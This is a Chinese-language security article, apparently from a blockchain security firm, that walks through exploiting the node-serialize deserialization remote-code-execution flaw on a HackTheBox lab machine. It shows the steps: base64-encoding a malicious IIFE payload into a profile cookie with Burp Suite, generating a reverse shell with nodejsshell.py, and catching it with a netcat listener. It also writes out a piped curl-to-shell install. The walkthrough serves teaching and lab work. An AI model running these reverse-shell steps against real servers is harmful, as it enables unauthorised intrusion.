Node.js反序列化攻擊漏洞區塊鏈
導語:WF曲速未來提醒:node.js的序列化過程中存在遠程代碼執行漏洞。更直白的說,其實是node.js的node-serialize庫存在漏洞。通過傳輸JavaScriptIIFE(立即執行函數表達式),攻擊者可以利用惡意代碼(不受信任的數據),在反序列化過程中遠程執行任意代碼。
導語:
WF曲速未來提醒:node.js的序列化過程中存在遠程代碼執行漏洞。更直白的說,其實是node.js的node-serialize庫存在漏洞。通過傳輸JavaScript IIFE(立即執行函數表達式),攻擊者可以利用惡意代碼(不受信任的數據),在反序列化過程中遠程執行任意代碼。
WF曲速區表示:Node.js是一個Javascript服務器端的運行環境。它封裝了Google V8引擎。 Google V8引擎可以快速運行具有高性能的Javascript。Node.js優化某些特殊情況并提供替代APls,使Google V8引擎能夠在非瀏覽器環境中更有效地運行。
但是Node。js的序列化過程中仍然存在遠程代碼執行漏洞。Node.js的node-serialize庫有一個漏洞。通過傳輸JavaScript IIFE,攻擊者可以使用惡意代碼(不受信任的數據)在反序列化中遠程運行任意代碼。
關于漏洞(反序列化攻擊)
不受信任的數據被傳遞到unserialize()函數,這導致我們可以繞過JavaScript對象的立即調用的函數表達式IIFE來實現任意代碼執行。
所以你的步驟是在apt-get命令的幫助下安裝nodejs包,如下所示:
命令:apt-get install nodejs
在下一步中,您需要在CURL命令的幫助下安裝npm實用程序(有關使用npm進一步安裝node-serialize包),如下所示:
命令:curl -L https://www.npmjs.com/install.sh |SH
一旦你安裝和配置Nodejs和Npm,只需在npm的幫助下輸入node-serialize包,輸入“npm install node-serialize”,如下所示:
另一方面,我們已經與HacktheBox服務器連接,其服務器的漏洞節點機器IP為10.10.10.85:3000(運行Nodejs Express Framework,您可以使用Nmap Scanning進一步確認)
因此,在第一步中,您需要在最受歡迎的代理攔截工具之一(即Burp Suite)的幫助下捕獲上述Nodejs易受攻擊IP的GET請求,如下所示:
在第二步中,只需選擇cookie值并將其發送到Decoder選項卡以進行進一步解密。
此易受攻擊的Web應用程序中的漏洞是,它從HTTP請求中讀取名為profile的cookie,執行cookie值的base64解碼并將其傳遞給unserialize()函數。由于cookie是不受信任的輸入,攻擊者可以利用惡意cookie值來利用此漏洞。
第三步,要安裝Nodejs Security Toolkit,請在終端中鍵入以下命令。
命令:git clone https://github.com/ajinabraham/Node.Js-Security-Course.git
導航到下載的文件夾并運行以下命令以創建反向shell有效內容,該有效負載將javascript代碼評估為字符串。
首先,您需要通過鍵入“ifconfig”找出隧道IP,然后運行以下命令:
命令: python nodejsshell.py 10.10.14.145 4443
這是最終反向shell有效負載的輸出。
現在讓我們使用以下javascript生成序列化的有效負載。
代碼:
用大括號{eval(String.from ......... })添加上面的有效負載輸出,如下所示:
將文件另存為exploit.js并使用node命令運行,該命令生成最終的序列化有效負載,如下所示:
命令:node exploit.js
現在回到BurpSuite并導航到Decoder選項卡并將上面的輸出代碼粘貼到Textarea中,然后在解碼之前,在函數體之后添加IIFE括號(),如下所示:
在這里,我們需要執行相同的Base64編碼,然后在Cookie標頭值中使用編碼的有效負載向Web服務器發出請求。
現在要發出請求,您需要向Repeater 選項卡發送相同的請求。
在Repeater選項卡中,您需要將cookie值替換為我們從上面步驟生成的base64編碼值,然后單擊GO按鈕。
并排,確保您的netcat服務正在偵聽相同的端口,即4443(反向shell負載的相同端口)
命令:nc -lvp 4443
一旦你單擊Go按鈕,請求將命中到服務器,顯示200 OK響應,并顯示一條錯誤消息“發生錯誤...無效的用戶名類型”,并立即在netcat終端中與該服務器連接,狀態為“已連接”。
區塊鏈安全公司WF曲速未來提醒:本實踐實現了Node.js 反序列化漏洞遠程執行代碼的演示,并對漏洞進行了詳細的分析。該漏洞本質上是構造Payload傳入unserrialize()函數進行反序列化:使用JavaScript的立即調用函數表達式(IIFE),當對象被創建時,將 該JavaScript 對象傳入 serialize() 函數,輸出exploit將其傳入unserialize() 函數,可以實現任意代碼執行。危害不容小覷。
1.TMT觀察網遵循行業規范,任何轉載的稿件都會明確標注作者和來源;
2.TMT觀察網的原創文章,請轉載時務必注明文章作者和"來源:TMT觀察網",不尊重原創的行為TMT觀察網或將追究責任;
3.作者投稿可能會經TMT觀察網編輯修改或補充。